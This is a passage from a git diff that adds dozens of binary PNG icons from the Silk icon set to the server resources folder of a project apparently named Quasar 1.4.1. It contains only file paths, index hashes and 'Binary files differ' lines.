b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_delete.png new file mode 100755 index 0000000..86f7fbc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_go.png new file mode 100755 index 0000000..aace63a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_green.png new file mode 100755 index 0000000..25b28bb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_link.png new file mode 100755 index 0000000..48e7ab5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/package_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page.png new file mode 100755 index 0000000..03ddd79 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_add.png new file mode 100755 index 0000000..d5bfa07 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_attach.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_attach.png new file mode 100755 index 0000000..89ee2da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_attach.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_code.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_code.png new file mode 100755 index 0000000..f7ea904 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_code.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_copy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_copy.png new file mode 100755 index 0000000..195dc6d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_copy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_delete.png new file mode 100755 index 0000000..3141467 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_edit.png new file mode 100755 index 0000000..046811e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_error.png new file mode 100755 index 0000000..f07f449 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_excel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_excel.png new file mode 100755 index 0000000..eb6158e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_excel.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_find.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_find.png new file mode 100755 index 0000000..2f19388 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_find.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_gear.png new file mode 100755 index 0000000..8e83281 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_go.png new file mode 100755 index 0000000..80fe1ed Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_green.png new file mode 100755 index 0000000..de8e003 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_key.png new file mode 100755 index 0000000..d6626cb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_lightning.png new file mode 100755 index 0000000..7e56870 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_link.png new file mode 100755 index 0000000..312eab0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paintbrush.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paintbrush.png new file mode 100755 index 0000000..246a2f0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paintbrush.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paste.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paste.png new file mode 100755 index 0000000..968f073 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paste.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_red.png new file mode 100755 index 0000000..0b18247 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_refresh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_refresh.png new file mode 100755 index 0000000..cf347c7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_refresh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_save.png new file mode 100755 index 0000000..caea546 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white.png new file mode 100755 index 0000000..8b8b1ca Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_acrobat.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_acrobat.png new file mode 100755 index 0000000..aa2e3f1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_acrobat.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_actionscript.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_actionscript.png new file mode 100755 index 0000000..2fd1956 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_actionscript.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_add.png new file mode 100755 index 0000000..228211a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_c.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_c.png new file mode 100755 index 0000000..cc4f5d4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_c.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_camera.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_camera.png new file mode 100755 index 0000000..f501a59 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_camera.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cd.png new file mode 100755 index 0000000..848bdaf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code.png new file mode 100755 index 0000000..b09d8d9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code_red.png new file mode 100755 index 0000000..87a6914 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_coldfusion.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_coldfusion.png new file mode 100755 index 0000000..c66011f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_coldfusion.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_compressed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_compressed.png new file mode 100755 index 0000000..2b6b100 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_compressed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_copy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_copy.png new file mode 100755 index 0000000..a9f31a2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_copy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cplusplus.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cplusplus.png new file mode 100755 index 0000000..928d121 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cplusplus.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_csharp.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_csharp.png new file mode 100755 index 0000000..ffb8fc9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_csharp.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cup.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cup.png new file mode 100755 index 0000000..280f0d0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cup.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_database.png new file mode 100755 index 0000000..be39ea6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_database.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_delete.png new file mode 100755 index 0000000..e2cd597 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_dvd.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_dvd.png new file mode 100755 index 0000000..4cc537a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_dvd.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_edit.png new file mode 100755 index 0000000..5943778 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_error.png new file mode 100755 index 0000000..9fc5a0a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_excel.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_excel.png new file mode 100755 index 0000000..e69f1d2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_excel.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_find.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_find.png new file mode 100755 index 0000000..3c79178 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_find.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_flash.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_flash.png new file mode 100755 index 0000000..e12a674 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_flash.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_freehand.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_freehand.png new file mode 100755 index 0000000..8d719df Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_freehand.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_gear.png new file mode 100755 index 0000000..6e78791 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_get.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_get.png new file mode 100755 index 0000000..3cd951f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_get.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_go.png new file mode 100755 index 0000000..916db9c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_h.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_h.png new file mode 100755 index 0000000..8212ab9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_h.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_horizontal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_horizontal.png new file mode 100755 index 0000000..1d2d0a4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_horizontal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_key.png new file mode 100755 index 0000000..6855784 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_lightning.png new file mode 100755 index 0000000..7215d1e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_link.png new file mode 100755 index 0000000..bf7bd1c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_magnify.png new file mode 100755 index 0000000..f6b74cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_medal.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_medal.png new file mode 100755 index 0000000..d3fffb6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_medal.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_office.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_office.png new file mode 100755 index 0000000..a65bcb3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_office.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paint.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paint.png new file mode 100755 index 0000000..23a37b8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paint.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paintbrush.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paintbrush.png new file mode 100755 index 0000000..4d48260 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paintbrush.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paste.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paste.png new file mode 100755 index 0000000..5b2cbb3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paste.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_php.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_php.png new file mode 100755 index 0000000..c230605 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_php.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_picture.png new file mode 100755 index 0000000..134b669 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_picture.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_powerpoint.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_powerpoint.png new file mode 100755 index 0000000..c4eff03 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_powerpoint.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_put.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_put.png new file mode 100755 index 0000000..acf76fc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_put.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_ruby.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_ruby.png new file mode 100755 index 0000000..f59b7c4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_ruby.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_stack.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_stack.png new file mode 100755 index 0000000..44084ad Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_stack.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_star.png new file mode 100755 index 0000000..fe7aa28 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_star.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_swoosh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_swoosh.png new file mode 100755 index 0000000..e770829 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_swoosh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text.png new file mode 100755 index 0000000..813f712 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text_width.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text_width.png new file mode 100755 index 0000000..d9cf132 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text_width.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_tux.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_tux.png new file mode 100755 index 0000000..0beb310 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_tux.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_vector.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_vector.png new file mode 100755 index 0000000..4a05955 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_vector.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_visualstudio.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_visualstudio.png new file mode 100755 index 0000000..a0a433d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_visualstudio.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_width.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_width.png new file mode 100755 index 0000000..1eb8809 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_width.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_word.png new file mode 100755 index 0000000..ae8ecbf Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_word.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_world.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_world.png new file mode 100755 index 0000000..6ed2490 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_world.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_wrench.png new file mode 100755 index 0000000..a1c2af9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_wrench.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_zip.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_zip.png new file mode 100755 index 0000000..3972905 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_zip.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_word.png new file mode 100755 index 0000000..834cdfa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_word.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_world.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_world.png new file mode 100755 index 0000000..b8895dd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/page_world.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintbrush.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintbrush.png new file mode 100755 index 0000000..a3ecf87 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintbrush.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintcan.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintcan.png new file mode 100755 index 0000000..f82a886 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paintcan.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/palette.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/palette.png new file mode 100755 index 0000000..73c5b3f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/palette.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_plain.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_plain.png new file mode 100755 index 0000000..c0490eb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_plain.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_word.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_word.png new file mode 100755 index 0000000..f6b87f8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/paste_word.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil.png new file mode 100755 index 0000000..78142b6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_add.png new file mode 100755 index 0000000..9814aef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_delete.png new file mode 100755 index 0000000..ac07932 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_go.png new file mode 100755 index 0000000..037abb0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/pencil_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone.png new file mode 100755 index 0000000..c39f162 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_add.png new file mode 100755 index 0000000..d3555e0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_delete.png new file mode 100755 index 0000000..bbe4f8a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_sound.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_sound.png new file mode 100755 index 0000000..7fdf1c5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/phone_sound.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo.png new file mode 100755 index 0000000..6c2aaaa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_add.png new file mode 100755 index 0000000..63cc355 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_delete.png new file mode 100755 index 0000000..18b67df Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_link.png new file mode 100755 index 0000000..e6bb35f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photo_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/photos.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photos.png new file mode 100755 index 0000000..8836fe6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/photos.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture.png new file mode 100755 index 0000000..4a158fe Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_add.png new file mode 100755 index 0000000..d6d3f85 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_delete.png new file mode 100755 index 0000000..cca9f53 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/picture_edit.png new file mode 100755 index 